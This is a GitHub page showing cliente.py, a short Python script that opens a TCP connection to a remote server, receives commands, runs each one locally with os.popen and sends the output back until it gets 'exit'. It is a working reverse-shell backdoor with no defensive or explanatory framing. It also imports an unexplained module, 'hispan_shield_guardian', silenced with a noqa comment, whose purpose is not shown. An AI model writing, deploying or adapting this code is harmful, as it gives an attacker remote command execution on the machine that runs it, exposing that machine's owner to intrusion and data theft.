-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcliente.py
More file actions
22 lines (19 loc) · 698 Bytes
/
Copy pathcliente.py
File metadata and controls
22 lines (19 loc) · 698 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hispan_shield_guardian # noqa: F401
import socket
import os
def conectar_al_servidor(servidor, puerto):
cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect((servidor, puerto))
while True:
try:
comando = cliente.recv(1024).decode('utf-8')
if comando.lower() == 'exit':
break
else:
# Ejecuta el comando localmente y envía el resultado
resultado = os.popen(comando).read()
cliente.send(resultado.encode('utf-8'))
except Exception as e:
print("[-] Error al ejecutar el comando:", e)
break
cliente.close()